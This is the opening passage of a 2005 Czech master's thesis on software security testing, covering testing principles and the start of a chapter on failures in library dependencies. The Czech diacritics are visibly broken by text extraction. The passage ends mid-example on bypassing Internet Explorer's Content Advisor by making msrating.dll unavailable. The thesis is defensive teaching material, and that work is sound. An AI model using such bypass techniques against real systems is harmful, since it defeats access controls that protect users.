}w !"#$%&'()+,-./012345
MASARYKOVA UNIVERZITA FAKULTA INFORMATIKY
Soudobe´ techniky testova´nı´ bezpecˇnosti software DIPLOMOVA´ PRA´CE
Bc. Viktor Bula´nek
Brno, jaro 2005
Prohla´sˇenı´ Prohlasˇuji, zˇe tato diplomova´ pra´ce je my´m pu˚vodnı´m autorsky´m dı´lem, ktere´ jsem vypracoval samostatneˇ. Vsˇechny zdroje, prameny a literaturu, ktere´ jsem prˇi vypracova´nı´ pouzˇ´ıval nebo z nich cˇerpal, v pra´ci rˇa´dneˇ cituji s uvedenı´m u´plne´ho odkazu na prˇ´ıslusˇny´ zdroj.
Vedoucı´ pra´ce: doc. Ing. Jan Staudek, CSc. ii
Podeˇkova´nı´ Prˇedevsˇ´ım bych chteˇl podeˇkovat vedoucı´mu me´ diplomove´ pra´ce doc. Ing. Janu Staudkovi za podneˇtne´ prˇipomı´nky a na´vrhy, ktery´mi meˇ dovedl azˇ k sepsa´nı´ konecˇne´ verze te´to pra´ce.
iii
Shrnutı´ Cı´lem te´to diplomove´ pra´ce je sezna´mit cˇtena´rˇe s typicky´mi formami u´toku˚ na software a to v rovineˇ komponentnı´ skladby, uzˇivatelske´ho rozhranı´, na´vrhu a implementace, ilustrovat je na prˇ´ıkladech a navrhnout vhodny´ model testova´nı´ bezpecˇnosti softwaru.
iv
Klı´cˇova´ slova Testova´nı´, bezpecˇnost softwaru, buffer overflow, SQL injection, DoS, softwarove´ zdroje, softwarove´ za´vislosti, uzˇivatelske´ rozhranı´, na´vrh a implementace
v
Obsah ´ vod . . . . . . . . . . . . . . . . . . . . . . . . . 1 U 1.1 Zada´nı´ diplomove´ pra´ce . . . . . . . . . . . 1.1.1 Na´zev . . . . . . . . . . . . . . . . . 1.1.2 Specifikace . . . . . . . . . . . . . . . 1.1.3 Cı´l . . . . . . . . . . . . . . . . . . . 2 Testova´nı´ . . . . . . . . . . . . . . . . . . . . . . . 2.1 Zajisˇteˇnı´ kvality . . . . . . . . . . . . . . . . 2.2 Principy testova´nı´ . . . . . . . . . . . . . . . 2.2.1 Dynamicke´ testova´nı´ cˇerne´ skrˇ´ınˇky 2.2.2 Staticke´ testova´nı´ bı´le´ skrˇ´ınˇky . . . . 2.2.3 Dynamicke´ testova´nı´ bı´le´ skrˇ´ınˇky . 2.2.4 Dynamicke´ testova´nı´ sˇede´ skrˇ´ınˇky . 2.3 Testova´nı´ bezpecˇnosti . . . . . . . . . . . . 2.3.1 Bezpecˇny´ software . . . . . . . . . . 2.3.2 Testova´nı´ bezpecˇnosti . . . . . . . . 3 Softwarove´ zdroje a softwarove´ za´vislosti . . . 3.1 Blokova´nı´ prˇ´ıstupu ke knihovna´m . . . . . 3.1.1 Popis . . . . . . . . . . . . . . . . . . 3.1.2 Du˚sledky . . . . . . . . . . . . . . . 3.1.3 Postup . . . . . . . . . . . . . . . . . 3.1.4 Prˇ´ıklady . . . . . . . . . . . . . . . . 3.2 Registry . . . . . . . . . . . . . . . . . . . . . 3.2.1 Popis . . . . . . . . . . . . . . . . . . 3.2.2 Du˚sledky . . . . . . . . . . . . . . . 3.2.3 Postup . . . . . . . . . . . . . . . . . 3.2.4 Prˇ´ıklady . . . . . . . . . . . . . . . . 3.3 Porusˇene´ nebo nedostupne´ soubory . . . . 3.3.1 Popis . . . . . . . . . . . . . . . . . . 3.3.2 Du˚sledky . . . . . . . . . . . . . . . 3.3.3 Postup . . . . . . . . . . . . . . . . . 3.3.4 Prˇ´ıklady . . . . . . . . . . . . . . . . 3.4 Nedostatek syste´movy´ch prostrˇedku˚ . . . . 3.4.1 Popis . . . . . . . . . . . . . . . . . . 3.4.2 Du˚sledky . . . . . . . . . . . . . . . 3.4.3 Postup . . . . . . . . . . . . . . . . .
1
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4 4 4 4 4 5 5 5 5 7 7 7 7 7 8 9 9 9 10 10 10 10 10 11 11 11 12 12 12 12 13 13 13 13 14
3.4.4 Prˇ´ıklady . . . . . . . . . . . . 4 Uzˇivatelske´ rozhranı´ . . . . . . . . . . . . 4.1 Prˇetecˇenı´ vstupnı´ch bufferu˚ . . . . . 4.1.1 Popis . . . . . . . . . . . . . . 4.1.2 Du˚sledky . . . . . . . . . . . 4.1.3 Postup . . . . . . . . . . . . . 4.1.4 Prˇ´ıklady . . . . . . . . . . . . 4.2 Code-Red . . . . . . . . . . . . . . . . 4.2.1 Popis . . . . . . . . . . . . . . 4.2.2 Zranitelnost .ida . . . . . . . 4.3 DoS u´toky . . . . . . . . . . . . . . . 4.3.1 Popis . . . . . . . . . . . . . . 4.3.2 Prˇ´ıklady . . . . . . . . . . . . 4.4 Prova´zanost polozˇek vstupu . . . . . 4.4.1 Popis . . . . . . . . . . . . . . 4.4.2 Du˚sledky . . . . . . . . . . . 4.4.3 Postup . . . . . . . . . . . . . 4.4.4 Prˇ´ıklady . . . . . . . . . . . . 4.5 Specia´lnı´ znaky a rˇeteˇzce ve vstupu 4.5.1 Popis . . . . . . . . . . . . . . 4.5.2 Du˚sledky . . . . . . . . . . . 4.5.3 Postup . . . . . . . . . . . . . 4.5.4 Prˇ´ıklady . . . . . . . . . . . . 4.6 SQL injection . . . . . . . . . . . . . . 4.6.1 Popis . . . . . . . . . . . . . . 4.6.2 Du˚sledky . . . . . . . . . . . 4.6.3 Postup . . . . . . . . . . . . . 4.6.4 Prˇ´ıklady . . . . . . . . . . . . 5 Na´vrh a implementace aplikace . . . . . 5.1 Defaultnı´ uzˇivatelska´ jme´na a hesla . 5.1.1 Popis . . . . . . . . . . . . . . 5.1.2 Du˚sledky . . . . . . . . . . . 5.1.3 Postup . . . . . . . . . . . . . 5.2 Neochra´neˇne´ testovacı´ API rozhranı´ 5.2.1 Du˚sledky . . . . . . . . . . . 5.2.2 Postup . . . . . . . . . . . . . 5.3 Porty aplikace . . . . . . . . . . . . . 5.3.1 Popis . . . . . . . . . . . . . . 5.3.2 Du˚sledky . . . . . . . . . . . 5.3.3 Postup . . . . . . . . . . . . . 5.3.4 Prˇ´ıklady . . . . . . . . . . . . 5.4 Du˚veˇra v data . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
14 16 16 16 16 16 17 25 25 25 26 26 27 31 31 32 32 32 32 32 33 33 33 38 38 39 39 39 44 44 44 44 44 44 45 45 45 45 45 45 46 46
2
6 A B C
5.4.1 Popis . . . 5.4.2 Du˚sledky 5.4.3 Prˇ´ıklady . Za´veˇr . . . . . . . . . . Testovacı´ data . . . . . IIShack . . . . . . . . . Code-Red version 1 . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
46 46 46 47 49 51 55
3
Kapitola 1
´ vod U 1.1 Zada´nı´ diplomove´ pra´ce 1.1.1 Na´zev Soudobe´ techniky testova´nı´ bezpecˇnosti software 1.1.2 Specifikace Prostudovat soucˇasne´ poznatky v oblasti testova´nı´ bezpecˇnosti software a na jejich za´kladeˇ zpracovat vhodny´ model testova´nı´ bezpecˇnosti software. 1.1.3 Cı´l Cı´lem pra´ce je sezna´mit cˇtena´rˇe s typicky´mi formami u´toku˚ na software a navrhnout techniky pro testova´nı´ bezpecˇnosti. Pra´ce se snazˇ´ı klasifikovat formy u´toku˚ na software v rovineˇ komponentnı´ skladby, uzˇivatelske´ho rozhranı´, na´vrhu a implementace software, vysveˇtlit jejich principy a du˚sledky, ke ktery´m mohou ve´st. Take´ se pokousˇ´ım upozornit na chyby v na´vrhu a programova´nı´, ktere´ tyto u´toky umozˇnˇujı´. Vsˇe je ilustrova´no na prˇ´ıkladech u´toku˚, ktere´ byly v minulosti na software pouzˇity, od me´neˇ za´kerˇny´ch azˇ po u´toky, ktere´ ovlivnily desetitisı´ce pocˇ´ıtacˇu˚ jako Code-Red. U kazˇde´ho u´toku je da´le popsa´n postup, jak software testovat a cˇeho si prˇi tom vsˇ´ımat. V prˇ´ıloze jsou k dispozici prˇ´ıklady hodnot pro testova´nı´ a zdrojove´ ko´dy neˇktery´ch zajı´mavy´ch u´toku˚.
4
Kapitola 2
Testova´nı´ 2.1 Zajisˇteˇnı´ kvality Zajisˇteˇnı´ kvality (Quality Assurance) je soubor aktivit, jehozˇ cı´lem je zajistit vytvorˇenı´ kvalitnı´ho produktu, tedy i softwaru, nebo sluzˇby. Tyto aktivity by meˇly zastrˇesˇovat cely´ vy´voj. Hlavnı´m cı´lem je snaha odhalenı´ chyb v nejraneˇjsˇ´ım sta´diu vy´voje, protozˇe cena odstraneˇnı´ chyby s postupujı´cı´ dobou roste exponencia´lneˇ. Nejviditelneˇjsˇ´ı a nejzna´meˇjsˇ´ı soucˇa´stı´ je testova´nı´. To vsˇak neznamena´, zˇe je to jedina´ metoda a uzˇ vu˚bec ne, zˇe nejefek´ cˇinnost testova´nı´ se uva´dı´ neˇkde kolem 25-45%, zatı´mco u inspekce dosahuje tivneˇjsˇ´ı. U kolem 40-60%. Jako dalsˇ´ı metody bych zmı´nil technickou oponenturu nebo cˇtenı´ ko´du. Da´ se rˇ´ıci, zˇe testova´nı´ software je velmi na´kladne´ a zabere neˇkdy azˇ 40% na´kladu˚ na vy´voj. Du˚vodu˚ procˇ testovat je spousta. Prˇi prˇeda´va´nı´ produktu˚ prova´dı´me akceptacˇnı´ testy (acceptance testing), pro zjisˇteˇnı´ zda je implementova´no podle standardu˚ vykona´va´me testy shody (conformance testing), da´le ma´me testy pouzˇitelnosti (usability testing), spolehlivosti (reliability testing), robustnosti (robustness testing), vy´konnosti (performance testing), integracˇnı´ testy (integration testing) a testy bezpecˇnosti (security testing).
2.2 Principy testova´nı´ Testova´nı´ nemusı´me deˇlit pouze podle u´cˇelu, ale take´ principu testova´nı´. Testovat mu˚zˇeme cˇernou (black box), bı´lou (white box) a v neˇktery´ch prˇ´ıpadech i sˇedou skrı´nˇku (gray box). Da´le deˇlı´me testova´nı´ na staticke´ a dynamicke´. Prˇi staticke´m testova´nı´ zkouma´me pouze ko´d, dokumentaci cˇi specifikaci. Testova´nı´ specifikace je kra´sny´m prˇ´ıkladem staticke´ho testova´nı´ cˇerne´ skrˇ´ınˇky. Nemusı´me prˇitom nezbytneˇ veˇdeˇt procˇ a jak byly jednotlive´ informace zı´ska´ny cˇi jaky´m procesem byly zjisˇteˇny. Naopak dynamicke´ testova´nı´ se zaby´va´ samotny´m programem nebo jeho cˇa´stı´, ktere´ posı´la´ na vstup neˇjaka´ testovacı´ data a kontroluje jeho vy´stup. 2.2.1 Dynamicke´ testova´nı´ cˇerne´ skrˇı´nˇky Jedna´ se o testova´nı´ beˇzˇ´ıcı´ho softwaru, prˇi neˇmzˇ nevidı´me zdrojovy´ ko´d testovane´ho programu. Ve skutecˇnosti testujeme chova´nı´ softwaru prˇi pra´ci s nı´m. Aby bylo testova´nı´ efektivnı´ je potrˇeba k neˇmu mı´t urcˇitou definici softwaru. Je potrˇeba mı´t prˇesneˇ nadefinova´no, co bude na vy´stupu prˇi dane´m vstupu nebo k cˇemu povede provedenı´ urcˇite´ operace. Protozˇe je zrˇejme´, zˇe nenı´ mozˇne´ otestovat vsˇechny prˇ´ıpady, je nejdu˚lezˇiteˇjsˇ´ım 5
2. TESTOVA´NI´ u´kolem vy´beˇr vhodne´ mnozˇiny testovy´ch prˇ´ıpadu˚. K tomu pouzˇ´ıva´me metodu rozdeˇlenı´ ekvivalentnı´ch prˇ´ıpadu˚, cozˇ je postup, prˇi neˇmzˇ metodicky redukujeme rozsa´hlou mnozˇinu mozˇny´ch testovy´ch prˇ´ıpadu˚ do mnohem mensˇ´ı a prˇitom stejneˇ efektivnı´ podmnozˇiny. Tedy trˇ´ıdou ekvivalence rozumı´me mnozˇinu testovy´ch prˇ´ıpadu˚. ktera´ testuje stejnou veˇc nebo odhaluje stejnou chybu. Pokud jako prˇ´ıklad vezmeme testova´nı´ kalkulacˇky, tak do stejne´ trˇ´ıdy ekvivalence bude patrˇit testova´nı´ vy´razu˚ jako 1+1, 1+2, 1+3 atd. Naopak secˇtenı´ jednicˇky s nejveˇtsˇ´ım cˇ´ıslem, ktere´ je mozˇne´ zadat, mu˚zˇe odhalit jiny´ druh chyby. Na prˇedchozı´m prˇ´ıkladu je videˇt, zˇe je efektivnı´ testova´nı´ hranicˇnı´ch podmı´nek. Budeme vycha´zet z toho, zˇe pokud je software schopen pracovat na hranici svy´ch mozˇnostı´, bude korektneˇ pracovat i s daty mezi hranicemi. Je vhodne´ tedy testovat platny´ u´daj teˇsneˇ v hranicı´ch intervalu, poslednı´ mozˇnou platnou hodnotu a neplatnou hodnotu teˇsneˇ za hranicemi intervalu. Na prˇ´ıklad jestlizˇe ma´me prˇihlasˇovacı´ formula´rˇ, kde vstupnı´ pole je omezeno 255 znaky, tak budeme testovat odesla´nı´ pra´zdne´ho pole, jednoho znaku, 255 a 256 znaku˚. Pokud se bude program na teˇchto vstupnı´ch de´lka´ch chovat korektneˇ, je velice pravdeˇpodobne´, zˇe tomu tak bude i na teˇch zby´vajı´cı´ch. Je potrˇeba si uveˇdomit, zˇe neˇktere´ hranice jsou da´ny interneˇ. Tyto prˇ´ıpady nazy´va´me subhranicˇnı´ podmı´nky. Prˇ´ıkladem mu˚zˇe by´t pameˇt’ova´ reprezentace promeˇnne´ a jejı´ rozsah, kdy zkousˇ´ıme zada´vat hodnoty, ktere´ se do promeˇnne´ nevejdou a mohly by zpu˚sobit jejı´ prˇetecˇenı´. Prˇi budova´nı´ trˇ´ıd ekvivalencı´ je potrˇeba take´ vzı´t v u´vahu prˇ´ıpady, kdy testujeme vy´chozı´, pra´zdne´, nevyplneˇne´, nedefinovane´ a nulove´ hodnoty. Dalsˇ´ım proble´mem je testova´nı´ toku rˇ´ızenı´ dat. Je sice veˇtsˇinou mozˇne´ navsˇtı´vit vsˇechny stavy programu, ale potı´zˇ je v tom, zˇe nenı´ rea´lne´ projı´t vsˇechny cesty vsˇech zmeˇn stavu˚. Opeˇt je zˇa´doucı´ pro testova´nı´ aplikovat vhodnou metodu rozdeˇlenı´ trˇ´ıd ekvivalence na stavy programu a cesty mezi nimi. Vhodnou volbou se snazˇ´ıme snı´zˇit riziko, ktere´ vznika´ prˇi vy´beˇru neˇktery´ch stavu˚ a prˇechodu˚, ktere´ nebudou testova´ny. Mezi dalsˇ´ı techniky testova´nı´ cˇerne´ skrˇ´ınˇky patrˇ´ı za´vodeˇnı´, nespra´vne´ cˇasova´nı´, test s opakova´nı´m, stresove´ a za´teˇzˇove´ testova´nı´. Testova´nı´ stavu za´vodeˇnı´ kontroluje robustnost programu, ktery´ si musı´ poradit s nedostatkem zdroju˚ a musı´ by´t schopen beˇzˇet v syste´mu soucˇasneˇ s jaky´mikoli jiny´mi aplikacemi a sdı´let s nimi vesˇkere´ prostrˇedky. Naopak nespra´vne´ cˇasova´nı´ testuje schopnost programu by´ti prˇerusˇen uda´lostı´ prˇi zpracova´nı´ jine´ uda´losti. Test s opakova´nı´m se soustrˇedı´ na testova´nı´ cˇastı´, ktere´ pracujı´ s pameˇtı´, kdy je snahou odhalit cˇa´stecˇne´ nebo u´plne´ neuvolnˇova´nı´ pameˇti. Stresove´ testova´nı´ sleduje chova´nı´ softwaru prˇi nedostatku syste´movy´ch prostrˇedku˚, tj. mensˇ´ı mnozˇstvı´ operacˇnı´ pameˇti, ma´lo procesorove´ho cˇasu, nedostupnost nebo mala´ propustnost sı´teˇ atd. Za´teˇzˇove´ testy naopak testujı´ schopnost softwaru obslouzˇit vı´ce klientu˚ a zdroju˚ a v neposlednı´ rˇadeˇ neprˇetrzˇity´ provoz. Vsˇechny tyto naznacˇene´ metody dynamicke´ho testova´nı´ cˇerne´ skrˇ´ınˇky jsou du˚lezˇite´ a pra´veˇ hojneˇ vyuzˇ´ıvane´ prˇi testova´nı´ bezpecˇnosti softwaru, jak bude videˇt v na´sledujı´cı´ch kapitola´ch.
6
2. TESTOVA´NI´ 2.2.2 Staticke´ testova´nı´ bı´le´ skrˇı´nˇky Testova´nı´ bı´le´ skrˇ´ınˇky je testova´nı´ softwaru s prˇ´ıstupem ke zdrojove´mu ko´du, ktery´ na´m poma´ha´ identifikovat slaba´ mı´sta. Staticke´ testova´nı´ bı´le´ skrˇ´ınˇky je struktura´lnı´ analy´za, tedy proces revize na´vrhu a ko´du programu. Smyslem je mozˇnost vcˇasne´ho nalezenı´ chyb a to i takovy´ch, ktere´ by nemusely by´t prˇi dynamicke´m testova´nı´ cˇerne´ skrˇ´ınˇky odhaleny. Prˇ´ınosem je porozumeˇnı´ vnitrˇnı´m mechanismu˚m, cozˇ umozˇnˇuje efektivneˇjsˇ´ı na´vrh dynamicky´ch testu˚. Z principu testova´nı´ vyply´va´, cˇ´ım vı´ce neza´visly´ch osob software kontroluje, tı´m je efektivneˇjsˇ´ı. 2.2.3 Dynamicke´ testova´nı´ bı´le´ skrˇı´nˇky Jedna´ se o testova´nı´ softwaru, kdy se rozhodujeme, co testovat a jak k neˇmu prˇistupovat, podle poznatku˚, ktere´ jsme zı´skaly prˇi pozorova´nı´ ko´du programu. Obrovskou vy´hodou je take´ rˇ´ızenı´ testova´nı´, kdy mu˚zˇeme prˇ´ımo testovat urcˇite´ funkce, podprogramy nebo knihovny. Tato vy´hoda mu˚zˇe s sebou take´ prˇina´sˇet neˇktera´ rizika. Ne vzˇdy platı´, zˇe pokud jednotlive´ cˇa´sti pracujı´ spra´vneˇ, pracuje korektneˇ celek z teˇchto cˇa´stı´ slozˇeny´. 2.2.4 Dynamicke´ testova´nı´ sˇede´ skrˇı´nˇky Tento vy´raz se neˇkdy pouzˇ´ıva´ u testova´nı´ webovy´ch aplikacı´, kdy sice nema´me k dispozici skripty beˇzˇ´ıcı´ na serveru, ale ma´me ko´d html cˇi xml stra´nky, ktery´ na´m mu˚zˇe napomoci v identifikaci chyby a posunout nasˇe testova´nı´ spra´vny´m smeˇrem.
2.3 Testova´nı´ bezpecˇnosti 2.3.1 Bezpecˇny´ software Pod pojmem bezpecˇny´ software si kazˇdy´ prˇedstavı´ neˇco jine´ho. Pro neˇkoho je to zabezpecˇenı´ softwaru, ktere´ zamezuje pira´tske´mu sˇ´ırˇenı´, at’ jizˇ cele´ nebo cˇa´sti aplikace, na Internetu nebo jejı´mu prodeji na cˇerne´m trhu. Strucˇneˇ rˇecˇeno, jedna´ se o zabezpecˇenı´ bina´rnı´ho ko´du. Pro jine´ je bezpecˇny´m softwarem software, ktery´ nabı´zı´ svou funkcionalitu pouze autorizovany´m uzˇivatelu˚m a nikomu jine´mu. Pro u´cˇely te´to pra´ce budeme pod tı´mto pojmem rozumeˇt software, ktery´ svy´m chova´nı´m nevystavı´ citliva´ data neautorizovane´mu uzˇivateli nebo svy´m naprogramova´nı´m neohrozı´ syste´m, na ktere´m je aplikace spusˇteˇna. Nebudu zde rozebı´rat sofistikovana´ zabezpecˇenı´, ale metody spra´vne´ho na´vrhu, programova´nı´ a prˇedevsˇ´ım na´sledne´ho testova´nı´. Tedy bezpecˇna´ aplikace musı´ by´t dobrˇe navrzˇena, vsˇechny jejı´ cˇa´sti a funkce jsou zdokumentovane´ a funkce pracujı´cı´ s uzˇivatelsky´mi daty rˇa´dneˇ osˇetrˇeny.
7
2. TESTOVA´NI´ 2.3.2 Testova´nı´ bezpecˇnosti Testova´nı´ bezpecˇnosti se od standardnı´ho testova´nı´ dosti lisˇ´ı. Je potrˇeba si uveˇdomit, zˇe prˇi obecne´m testova´nı´ porovna´va´me aplikaci s pozˇadavky a specifikacı´ a snadno tedy pozna´me, pokud se aplikace chova´ jinak nezˇ je definova´no, cozˇ pak oznacˇ´ıme za chybu. Z toho vsˇak nevyply´va´, zˇe aplikace splnˇujı´cı´ specifikaci je bezpecˇna´ a zˇe u´tocˇnı´k nenı´ schopen najı´t bezpecˇnostnı´ chyby, ktere´ jsou odlisˇne´ od tradicˇnı´ch. Jak je videˇt na obra´zku, tradicˇnı´ chyby jsou zpu˚sobeny cˇa´stmi ko´du, ktere´ v aplikaci chybı´, kdezˇto bezpecˇnostnı´ chyby se spı´sˇe ukry´vajı´ v cˇa´stech, ktere´ zu˚staly v aplikaci nedopatrˇenı´m a jsou jednou z nejveˇtsˇ´ıch hrozeb pro bezpecˇnost. Je proto nutne´ vyhleda´vat nadbytecˇne´ funkce, jejich postrannı´ efekty a mimo jine´ sledovat interakci softwaru s okolı´m. Pra´veˇ okolı´ softwaru je jednı´m z mı´st, kde lze potencia´lneˇ prolomit bezpecˇnost. Dobre´ je take´ prozkoumat vnitrˇek aplikace, kde jsou drzˇena citliva´ data.
Obra´zek 2.1: Chyby v aplikacı´ch
8
Kapitola 3
Softwarove´ zdroje a softwarove´ za´vislosti Teprve v poslednı´ch letech se stalo aktua´lnı´m testova´nı´ softwarovy´ch za´vislostı´, protozˇe pozˇadavkem na modernı´ software je sdı´lenı´ zdroju˚ a hlavneˇ vza´jemna´ komunikace. Setka´va´me se s potrˇebou softwaru pouzˇ´ıvat syste´move´ knihovny, knihovny trˇetı´ch stran, sdı´lenı´ souboru˚, pouzˇ´ıva´nı´ registru˚ a za´vislosti na operacˇnı´m syste´mu, ktery´ prˇideˇluje zdroje at’ jizˇ operacˇnı´ pameˇt’ nebo diskovy´ prostor. Je potrˇeba si uveˇdomit, zˇe vsˇechny tyto cˇinnosti mohou by´ti zdrojem prˇ´ıpadny´ch bezpecˇnostnı´ch proble´mu˚. Nutnostı´ je, aby se software zachoval korektneˇ a zodpoveˇdneˇ v prˇ´ıpadeˇ nedostupnosti neˇjake´ sluzˇby cˇi knihovny. Ne zrˇ´ıdka se mu˚zˇeme setkat s prˇ´ıpady, kdy software v prˇ´ıpadeˇ nenacˇtenı´ neˇjake´ funkce ji jednodusˇe nepouzˇije. To se nezda´ by´ti fata´lnı´, ale pokud se jedna´ trˇeba o sˇifrovacı´ funkci, mu˚zˇe by´t vy´sledkem vysla´nı´ nezasˇifrovane´ zpra´vy trˇeba do sı´teˇ. Podobny´ dopad mu˚zˇe mı´t jiny´ prˇ´ıpad, kdy si program sice hlı´da´ sˇifrova´nı´ dat prˇed odesla´nı´m, ale v prˇ´ıpadeˇ nedostupnosti sı´teˇ je schopen ulozˇit nezasˇifrovana´ citliva´ data do docˇasne´ho souboru, protozˇe se s protistranou nedoka´zˇe domluvit na klı´cˇi pro symetrickou sˇifru. Toto jsou sice krajnı´ prˇ´ıpady, ale ne nemozˇne´. Mnohem cˇasteˇjsˇ´ı je, zˇe nedostupnost knihovny cˇi sluzˇby zpu˚sobı´ zhavarova´nı´ aplikace, cozˇ mu˚zˇe mı´t za na´sledek zanecha´nı´ citlivy´ch dat v operacˇnı´ pameˇti cˇi docˇasny´ch souborech.
3.1 Blokova´nı´ prˇı´stupu ke knihovna´m 3.1.1 Popis Blokova´nı´ prˇ´ıstupu ke knihovna´m je jednou z du˚lezˇity´ch soucˇa´stı´ testova´nı´ za´vislostı´ softwaru. S prˇ´ıchodem modernı´ho softwaru, u neˇhozˇ je nutnostı´ propojenı´ s operacˇnı´m syste´mem a jiny´m softwarem, se prohlubuje za´vislost na knihovna´ch operacˇnı´ho syste´mu, knihovna´ch trˇetı´ch stran a komponenta´ch sva´zany´ch s aplikacı´ a vynika´ vy´znam tohoto testu. Cı´lem testu je oveˇrˇenı´, zda se aplikace nechova´ nebezpecˇneˇ v momentech, kdy se nepovede zavedenı´ knihovny. Nejcˇasteˇjsˇ´ı chybou je neosˇetrˇenı´ na´vratovy´ch ko´du˚ po zavedenı´ knihoven, ale i kdyzˇ se tyto testovacı´ rutiny v ko´du nacha´zejı´, jsou zdrojem cˇasty´ch chyb, protozˇe tyto u´seky ko´du jsou podrobeny daleko mensˇ´ımu testova´nı´ nezˇ zbytek aplikace. Dalsˇ´ı komplikacı´ je, zˇe obsluzˇne´ rutiny error handleru˚ se umist’ujı´ do knihovny, cozˇ zpu˚sobuje fata´lnı´ chyby v prˇ´ıpadeˇ nenacˇtenı´ te´to klı´cˇove´ knihovny.
9
3. SOFTWAROVE´ ZDROJE A SOFTWAROVE´ ZA´VISLOSTI 3.1.2 Du˚sledky Du˚sledky teˇchto selha´nı´ mohou mı´t ru˚znou podobu. Jednou z nich je hava´rie aplikace. Tato situace nastane v prˇ´ıpadech, kdy nebyl napsa´n ko´d k odchycenı´ chyb volany´ch knihoven. To samo o sobeˇ nemusı´ by´t nebezpecˇne´, ale neˇkdy to mu˚zˇe by´t du˚sledkem neuklizenı´ citlivy´ch dat, jaky´mi mohou by´t hesla nebo jina´ aplikacˇneˇ chra´neˇna´ tajemstvı´, z pameˇti nebo docˇasny´ch souboru˚. Dalsˇ´ım typem reakce je, zˇe aplikace pokracˇuje v beˇhu i prˇes selha´nı´ nahra´nı´ knihovny, cozˇ zbavuje aplikaci neˇktery´ch funkcionalit. Tato reakce mu˚zˇe by´t du˚sledkem sˇpatne´ho na´vrhu aplikace, kdy funkce jsou definova´ny v samotne´m programu (cˇasto jako pra´zdne´) a ty jsou pak po nacˇtenı´ knihovny prˇepsa´ny a zı´skajı´ svou funkcionalitu. 3.1.3 Postup Za´kladnı´m krokem testu je zjisˇteˇnı´ knihoven, ktere´ aplikace pouzˇ´ıva´ a kdy k tomu docha´zı´. Postupneˇ se testuje chova´nı´ aplikace prˇi nedostupnosti jednotlivy´ch knihoven, ktere´ by mohly zpu˚sobit ohrozˇenı´ bezpecˇnosti. Aplikace, ktera´ nereaguje na tato selha´nı´ zobrazenı´m chybove´ hla´sˇky nebo reaguje zhavarova´nı´m, nema´ vhodnou kontrolnı´ rutinu, protozˇe se zkousˇ´ıme pouzˇ´ıvat data nebo funkcionalitu z knihovny bez prvotnı´ kontroly na´vratovy´ch ko´du˚. 3.1.4 Prˇı´klady Prˇ´ıkladem te´to chyby mu˚zˇe by´t internetovy´ prohlı´zˇecˇ Microsoft Internet Explorer, kde se vyskytuje tato chyba prˇi nahra´va´nı´ souboru msrating.dll. Funkcı´ Internet Exploreru je Content Advisor, ktera´ umozˇnˇuje pomocı´ hesla blokovat urcˇite´ stra´nky. V prˇ´ıpadeˇ, zˇe se pokusı´me najet na neohodnocene´ stra´nky, zavola´ se funkce z knihovny msrating.dll a zobrazı´ se okno pro zada´nı´ hesla. V prˇ´ıpadeˇ zada´nı´ nespra´vne´ho hesla zu˚stanou stra´nky 